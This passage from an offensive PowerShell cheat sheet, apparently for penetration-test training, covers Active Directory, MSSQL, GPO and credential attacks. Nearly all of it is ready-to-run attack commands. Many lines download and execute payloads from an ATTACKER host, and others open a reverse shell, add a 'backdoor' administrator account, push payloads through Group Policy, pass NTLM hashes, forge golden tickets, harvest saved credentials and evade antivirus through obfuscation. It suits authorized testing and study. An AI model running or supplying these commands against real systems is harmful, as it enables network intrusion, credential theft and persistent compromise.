Invoke-Obfuscation -ScriptBlock { Get-Process } -Quiet -Command 'TOKEN\ALL\1,LAUNCHER\PS\1'

# ==========================================
# QUICK MANUAL OBFUSCATION (no tool needed)
# ==========================================

# Backtick insertion
G`et-P`roce`ss

# String concat
$cmd = "Inv"+"oke-"+"Expressi"+"on"; & $cmd "Get-Process"

# Case mixing (PS is case-insensitive)
iNvOkE-eXpReSsIoN "GeT-pRoCeSs"

# Char array
$cmd = [char[]](73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110) -join ''; & $cmd "Get-Process"

# Encoded command
$cmd = 'Get-Process'
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -EncodedCommand $enc

# Replace + IEX
"Inv0ke-Expr3ss10n".Replace("0","o").Replace("3","e").Replace("1","i") | IEX

9. PowerUpSQL

MSSQL enumeration and attack tool. Find, audit, and exploit SQL Server instances. GitHub: https://github.com/NetSPI/PowerUpSQL

# ==========================================
# LOAD
# ==========================================

Import-Module .\PowerUpSQL.ps1
# OR in-memory:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUpSQL.ps1')

# ==========================================
# DISCOVERY
# ==========================================

# Find SQL servers via SPN (AD)
Get-SQLInstanceDomain                        # Domain-joined SQL servers
Get-SQLInstanceLocal                         # Local SQL instances
Get-SQLInstanceScanUDP                       # UDP broadcast discovery
Get-SQLInstanceScanUDP -ComputerName 10.10.10.0/24  # Subnet scan

# ==========================================
# AUTHENTICATION
# ==========================================

# Test current Windows auth (integrated)
Get-SQLConnectionTestThreaded -Instance SQL01\SQLEXPRESS

# Test specific creds
Get-SQLConnectionTestThreaded -Instance SQL01 -Username sa -Password 'password'

# Test across all discovered instances
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

# Find instances where current user is sysadmin
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Where-Object { $_.Status -eq "Accessible" }

# ==========================================
# ENUMERATION
# ==========================================

# Server info
Get-SQLServerInfo -Instance SQL01

# All databases
Get-SQLDatabase -Instance SQL01

# All tables in a database
Get-SQLTable -Instance SQL01 -DatabaseName mydb

# All columns (find password columns!)
Get-SQLColumn -Instance SQL01 -DatabaseName mydb -ColumnNameSearch "password"
Get-SQLColumn -Instance SQL01 -ColumnNameSearch "pass"
Get-SQLColumn -Instance SQL01 -ColumnNameSearch "cred"
Get-SQLColumn -Instance SQL01 -ColumnNameSearch "secret"

# Query data
Get-SQLQuery -Instance SQL01 -Query "SELECT * FROM mydb.dbo.users"

# Linked servers (pivot via SQL!)
Get-SQLServerLink -Instance SQL01

# Check for domain links (huge!)
Get-SQLServerLinkCrawl -Instance SQL01

# ==========================================
# PRIVILEGE ESCALATION
# ==========================================

# Auto audit for priv esc paths
Invoke-SQLAudit -Instance SQL01 -Verbose

# Find and exploit impersonation (EXECUTE AS)
Invoke-SQLEscalatePriv -Instance SQL01 -Verbose

# Check for sysadmin via impersonation
Invoke-SQLAuditPrivImpersonateLogin -Instance SQL01 -Verbose

# ==========================================
# COMMAND EXECUTION
# ==========================================

# xp_cmdshell (if enabled or if you can enable it)
Invoke-SQLOSCmd -Instance SQL01 -Command "whoami" -RawResults

# Enable xp_cmdshell first (requires sysadmin)
Get-SQLQuery -Instance SQL01 -Query "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
Get-SQLQuery -Instance SQL01 -Query "EXEC xp_cmdshell 'whoami'"

# Run OS commands via agent jobs
Invoke-SQLOSCmdAgentJob -Instance SQL01 -SubSystem PowerShell -Command "IEX(iwr 'http://ATTACKER/shell.ps1')"

# OLE Automation (alternative to xp_cmdshell)
Invoke-SQLOSCmdOle -Instance SQL01 -Command "cmd /c whoami > C:\Temp\out.txt"

# ==========================================
# LINKED SERVER ATTACKS
# ==========================================

# Execute commands via linked server chain!
Get-SQLServerLinkCrawl -Instance SQL01 -Query "exec master..xp_cmdshell 'whoami'"

# Crawl all links and execute
Get-SQLServerLinkCrawl -Instance SQL01 -Query "exec master..xp_cmdshell 'powershell -c IEX(iwr http://ATTACKER/s.ps1)'"

10. ADModule

Microsoft-signed Active Directory module. Bypasses many AV/EDR that block PowerView. Use when PowerView is flagged. GitHub: https://github.com/samratashok/ADModule

# ==========================================
# LOAD (NO ADMIN, NO RSAT NEEDED!)
# ==========================================

# Method 1: DLL import (stealthiest — MS signed binary!)
Import-Module C:\Tools\ADModule\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\Tools\ADModule\ActiveDirectory\ActiveDirectory.psd1

# Method 2: Download + load in memory
$url = "http://ATTACKER/Microsoft.ActiveDirectory.Management.dll"
$bytes = (New-Object Net.WebClient).DownloadData($url)
$asm = [System.Reflection.Assembly]::Load($bytes)

# ==========================================
# KEY COMMANDS (same as standard AD module)
# ==========================================

# Users
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity jsmith -Properties *
Get-ADUser -Filter { ServicePrincipalName -ne "$null" } -Properties ServicePrincipalName  # Kerberoastable
Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true }  # AS-REP roastable
Get-ADUser -Filter { PasswordNeverExpires -eq $true }

# Groups
Get-ADGroup -Filter * | Select Name, GroupScope
Get-ADGroupMember "Domain Admins" -Recursive
Get-ADPrincipalGroupMembership jsmith

# Computers
Get-ADComputer -Filter * -Properties *
Get-ADComputer -Filter { TrustedForDelegation -eq $true }  # Unconstrained delegation!

# Domain / Forest
Get-ADDomain
Get-ADForest
Get-ADDomainController -Filter *
Get-ADTrust -Filter *

# ==========================================
# WHY USE ADMODULE OVER POWERVIEW?
# ==========================================

# ADModule = Microsoft signed → bypasses AV/EDR that look for PowerView strings
# ADModule = Uses LDAP (normal admin traffic)
# PowerView = More functions, attack capabilities (ACL modification, etc.)
# → Best practice: Use ADModule for enumeration, PowerView for attacks

11. SharpGPOAbuse

GPO abuse tool — add scheduled tasks, local admins, registry keys via GPO. GitHub: https://github.com/FSecureLABS/SharpGPOAbuse

# ==========================================
# USAGE (compiled EXE, invoke from PS)
# ==========================================

# Add scheduled task to ALL computers linked to GPO
.\SharpGPOAbuse.exe --AddComputerTask `
    --TaskName "WinUpdate" `
    --Author "NT AUTHORITY\SYSTEM" `
    --Command "cmd.exe" `
    --Arguments "/c powershell -ep bypass -c IEX(iwr 'http://ATTACKER/s.ps1')" `
    --GPOName "Default Domain Policy" `
    --Force

# Add user as local admin on ALL linked computers
.\SharpGPOAbuse.exe --AddLocalAdmin `
    --UserAccount "corp\jsmith" `
    --GPOName "Default Domain Policy"

# Add computer local admin
.\SharpGPOAbuse.exe --AddComputerScript `
    --ScriptName "startup.bat" `
    --ScriptContents "net localgroup administrators jsmith /add" `
    --GPOName "Default Domain Policy"

# Add user script (runs at user logon)
.\SharpGPOAbuse.exe --AddUserScript `
    --ScriptName "logon.bat" `
    --ScriptContents "cmd /c powershell -ep bypass -c IEX(iwr 'http://ATTACKER/s.ps1')" `
    --GPOName "Default Domain Policy"

# Add registry key
.\SharpGPOAbuse.exe --AddUserRights `
    --UserRights "SeDebugPrivilege,SeImpersonatePrivilege" `
    --UserAccount "corp\jsmith" `
    --GPOName "Default Domain Policy"

# ==========================================
# FIND WRITABLE GPOs FIRST (PowerView)
# ==========================================

Get-DomainGPO | ForEach-Object {
    $gpoName = $_.DisplayName
    $gpoPath = $_.gpcfilesyspath
    $acl = Get-DomainObjectAcl -Identity $_.DistinguishedName -ResolveGUIDs
    $acl | Where-Object {
        $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty" -and
        $_.IdentityReferenceName -notmatch "SYSTEM|Domain Admins|Enterprise Admins"
    } | Select @{N="GPO";E={$gpoName}}, IdentityReferenceName, ActiveDirectoryRights
}

12. Invoke-ACLPwn

Automated ACL path exploitation — finds and exploits AD ACL chains to gain Domain Admin. GitHub: https://github.com/fox-it/Invoke-ACLPwn

# ==========================================
# LOAD
# ==========================================

. .\Invoke-ACLPwn.ps1

# ==========================================
# USAGE
# ==========================================

# Auto-exploit ACL path to DA (requires BloodHound data or live query)
Invoke-ACLPwn -SharpHoundLocation .\SharpHound.exe -NoDCSync

# With credentials
Invoke-ACLPwn -SharpHoundLocation .\SharpHound.exe -UserName jsmith -Password P@ss123 -Domain corp.local

# With specific target
Invoke-ACLPwn -SharpHoundLocation .\SharpHound.exe -Target "Domain Admins"

# Dry run (show path, don't exploit)
Invoke-ACLPwn -SharpHoundLocation .\SharpHound.exe -NoDCSync -WhatIf

13. PowerSharpPack

Bundles most C# offensive tools as PowerShell functions. Loads in memory, no EXE on disk. GitHub: https://github.com/S3cur3Th1sSh1t/PowerSharpPack

# ==========================================
# LOAD
# ==========================================

# Load individual tools:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerSharpPack/PowerSharpBinaries/Invoke-Rubeus.ps1')
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerSharpPack/PowerSharpBinaries/Invoke-SharpHound3.ps1')
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerSharpPack/PowerSharpBinaries/Invoke-Certify.ps1')
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerSharpPack/PowerSharpBinaries/Invoke-Seatbelt.ps1')

# ==========================================
# USAGE
# ==========================================

# Rubeus (Kerberos attacks)
Invoke-Rubeus "kerberoast /outfile:kerb.txt"
Invoke-Rubeus "asreproast /outfile:asrep.txt"
Invoke-Rubeus "dump /luid:0x3e4 /service:krbtgt"
Invoke-Rubeus "golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /rc4:<HASH> /ptt"

# SharpHound (BloodHound collector)
Invoke-SharpHound3 "-c All -d corp.local --zipfilename bh.zip"
Invoke-SharpHound3 "-c DCOnly"         # Only DC-level data (stealthier)

# Certify (ADCS attacks)
Invoke-Certify "find /vulnerable"      # Find vulnerable cert templates!
Invoke-Certify "request /ca:CA01\corp-CA /template:VulnTemplate"

# Seatbelt (host recon)
Invoke-Seatbelt "-group=all"           # Full host reconnaissance
Invoke-Seatbelt "WindowsDefender"      # AV status
Invoke-Seatbelt "CredGuard"            # Credential Guard status
Invoke-Seatbelt "DotNet"              # .NET versions
Invoke-Seatbelt "LocalUsers"          # Local users

14. PrivescCheck

Windows privilege escalation checker. More modern and comprehensive than PowerUp. GitHub: https://github.com/itm4n/PrivescCheck

# ==========================================
# LOAD
# ==========================================

. .\PrivescCheck.ps1
# OR in-memory:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PrivescCheck.ps1')

# ==========================================
# RUN CHECKS
# ==========================================

# Full check (all categories)
Invoke-PrivescCheck

# Extended checks (more thorough)
Invoke-PrivescCheck -Extended

# Verbose output
Invoke-PrivescCheck -Verbose

# Save report (HTML — very useful for CPTS report!)
Invoke-PrivescCheck -Report privesc_report

# Output formats
Invoke-PrivescCheck -Format HTML -Report C:\Temp\privesc
Invoke-PrivescCheck -Format CSV -Report C:\Temp\privesc

# Only show issues (filter out OK results)
Invoke-PrivescCheck | Where-Object { $_.Status -ne "INFO" }

# ==========================================
# CATEGORIES CHECKED
# ==========================================

# User Info         → Current user privileges, groups, token
# Services          → Unquoted paths, modifiable service binaries/configs
# DLL Hijacking     → Writable PATH dirs, missing DLLs
# Scheduled Tasks   → Writable task paths
# Registry          → AlwaysInstallElevated, autorun keys
# Credentials       → Hardcoded creds in files, registry, GPP
# Network           → Listening services, routes
# Updates           → Missing patches (CVEs!)
# Configuration     → UAC level, LAPS, PowerShell settings
# Installed Apps    → Third-party vulnerable software

15. SessionGopher

Extracts saved session credentials from PuTTY, WinSCP, FileZilla, SuperPuTTY, RDP. GitHub: https://github.com/Arvanaghi/SessionGopher

# ==========================================
# LOAD
# ==========================================

. .\SessionGopher.ps1
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/SessionGopher.ps1')

# ==========================================
# USAGE
# ==========================================

# Local host — all tools
Invoke-SessionGopher -Thorough

# Local host — all saved sessions
Invoke-SessionGopher

# Remote host
Invoke-SessionGopher -Target DC01
Invoke-SessionGopher -Target DC01 -u corp\admin -p P@ss123

# All domain computers (noisy!)
Invoke-SessionGopher -AllDomain

# Specific tools only
Invoke-SessionGopher -o WinSCP
Invoke-SessionGopher -o PuTTY

# What it harvests:
# PuTTY          → Saved SSH session hostnames
# WinSCP         → Saved SFTP/FTP creds (sometimes plaintext!)
# FileZilla      → FTP credentials
# SuperPuTTY     → Session credentials
# RDP            → Recently connected hosts

16. Invoke-TheHash

Pass-the-Hash toolkit. SMB and WMI code execution using NTLM hashes. GitHub: https://github.com/Kevin-Robertson/Invoke-TheHash

# ==========================================
# LOAD
# ==========================================

Import-Module .\Invoke-TheHash.psd1
# OR:
. .\Invoke-SMBExec.ps1
. .\Invoke-WMIExec.ps1

# ==========================================
# SMB EXEC (Pass-the-Hash via SMB)
# ==========================================

# Execute command via SMB + hash
Invoke-SMBExec -Target 10.10.10.1 -Domain corp.local -Username Administrator -Hash <NTLM_HASH> -Command "net localgroup administrators jsmith /add" -Verbose

# Reverse shell via SMBExec
Invoke-SMBExec -Target 10.10.10.1 -Domain corp.local -Username Administrator -Hash <HASH> `
    -Command "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER -Port 4444"

# ==========================================
# WMI EXEC (Pass-the-Hash via WMI)
# ==========================================

Invoke-WMIExec -Target 10.10.10.1 -Domain corp.local -Username Administrator -Hash <NTLM_HASH> -Command "cmd.exe /c whoami > C:\Temp\out.txt"

# ==========================================
# COMBINED (auto-select method)
# ==========================================

Invoke-TheHash -Type WMIExec -Target 10.10.10.0/24 -Username Administrator -Hash <NTLM_HASH> -Command "whoami"
Invoke-TheHash -Type SMBExec -Target 10.10.10.1 -Username Administrator -Hash <NTLM_HASH> -Command "net user backdoor P@ss123 /add && net localgroup administrators backdoor /add"

17. PowerShell Empire Modules

Key PowerShell modules from the Empire C2 framework used standalone.

# ==========================================
# KEY EMPIRE PS MODULES (standalone use)
# ==========================================

# Invoke-Kerberoast (Empire version)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Kerberoast.ps1')
Invoke-Kerberoast -OutputFormat Hashcat | Select -ExpandProperty hash | Out-File kerb.txt

# PowerBreach — persistent backdoors
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerBreach.ps1')
Invoke-EventLogBackdoor -Command "IEX(iwr 'http://ATTACKER/s.ps1')" -Verbose
Invoke-PortBindBackdoor -Port 9090

# Invoke-Inveigh (LLMNR/NBT-NS poisoning from PowerShell!)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Inveigh.ps1')
Invoke-Inveigh -LLMNR Y -NBNS Y -ConsoleOutput Y -FileOutput Y     # Full MITM!
Invoke-InveighRelay -ConsoleOutput Y -StatusOutput N -Target 10.10.10.1 -Command "net localgroup administrators attacker /add"

# Get-GPPPassword (standalone GPP password extractor)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Get-GPPPassword.ps1')
Get-GPPPassword                         # Auto-searches SYSVOL!
Get-GPPPassword -Server DC01

# PowerShell RBCD module
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/RBCD.ps1')
Set-ResourceBasedConstrainedDelegation -TargetComputer TARGET -AttackerComputer EVIL-PC

18. Quick Reference Cheat Sheet

╔══════════════════════════════════════════════════════════════════════╗
║ POWER TOOLS — QUICK REFERENCE                                        ║
╠═══════════╦════════════════════╦═════════════════════════════════════╣
║ TOOL      ║ PURPOSE            ║ KEY COMMAND                         ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ PowerView ║ AD Enumeration     ║ Find-InterestingDomainAcl           ║
║           ║                    ║ Get-DomainUser -SPN                 ║
║           ║                    ║ Find-DomainUserLocation             ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ PowerUp   ║ Windows PrivEsc    ║ Invoke-AllChecks                    ║
║           ║                    ║ Get-ServiceUnquoted                 ║
║           ║                    ║ Get-RegistryAlwaysInstallElevated   ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ PowerMad  ║ Machine Accounts   ║ New-MachineAccount EVIL$            ║
║           ║ DNS + RBCD         ║ Invoke-DNSUpdate                    ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ Nishang   ║ Shells + Info      ║ Invoke-PowerShellTcp                ║
║           ║                    ║ Get-PassHashes / Get-LSASecret      ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ Inv-Mimi  ║ Cred Dumping       ║ Invoke-Mimikatz                     ║
║           ║                    ║ lsadump::dcsync                     ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ Whisker   ║ Shadow Creds       ║ Whisker add                         ║
║           ║ Persistence        ║ pywhisker add                       ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ Inv-Obfus ║ AV/AMSI Bypass     ║ Invoke-Obfuscation                  ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ PowerUpSQL║ MSSQL Attacks      ║ Get-SQLInstanceDomain               ║
║           ║                    ║ Invoke-SQLAudit / Invoke-SQLOSCmd   ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ ADModule  ║ Stealthy AD Enum   ║ Get-ADUser -Filter *                ║
║           ║                    ║ Get-ADGroupMember                   ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ SharpGPO  ║ GPO Abuse          ║ AddComputerTask                     ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ PSSharpPk ║ C# in PowerShell   ║ Invoke-Rubeus / Invoke-Certify      ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ PrivEsChk ║ Modern PrivEsc     ║ Invoke-PrivescCheck                 ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ SessionGo ║ Saved Creds        ║ Invoke-SessionGopher                ║
╠═══════════╬════════════════════╬═════════════════════════════════════╣
║ Inv-Hash  ║ Pass-the-Hash      ║ Invoke-SMBExec / Invoke-WMIExec     ║
╚═══════════╩════════════════════╩═════════════════════════════════════╝

ENUMERATION:
PowerView → Get-DomainUser, Get-DomainComputer, Find-InterestingDomainAcl
ADModule → Get-ADUser, Get-ADGroupMember (stealthy alternative)
PowerUpSQL → Get-SQLInstanceDomain, Get-SQLDatabase

PRIVILEGE ESCALATION (Windows):
PowerUp → Invoke-AllChecks
PrivescCheck → Invoke-PrivescCheck -Extended

CREDENTIAL HARVESTING:
Invoke-Mimikatz → -DumpCreds, lsadump::dcsync
SessionGopher → Invoke-SessionGopher -Thorough
Nishang → Get-PassHashes, Get-LSASecret

LATERAL MOVEMENT:
Invoke-TheHash → Invoke-SMBExec, Invoke-WMIExec (Pass-the-Hash)
PowerView → Find-LocalAdminAccess, Find-DomainUserLocation

PERSISTENCE:
Whisker → Shadow Credentials
PowerMad → Machine account + RBCD
SharpGPOAbuse → GPO scheduled task
PowerSploit → Add-Persistence, Invoke-ReflectivePEInjection

EVASION:
Invoke-Obfuscation → Token/String/Encoding obfuscation
ADModule → MS-signed DLL (AV bypass)
All tools → IEX + DownloadString (in-memory, no disk)

KERBEROS ATTACKS:
PowerView → Get-DomainSPNTicket (Kerberoast), Get-ASREPHash
PowerSharpPack → Invoke-Rubeus for all ticket operations

ADCS ATTACKS:
PowerSharpPack → Invoke-Certify "find /vulnerable"

MSSQL ATTACKS:
PowerUpSQL → Invoke-SQLAudit, Invoke-SQLOSCmd, Get-SQLServerLinkCrawl

SHELLS:
Nishang → Invoke-PowerShellTcp, Invoke-PowerShellIcmp (covert)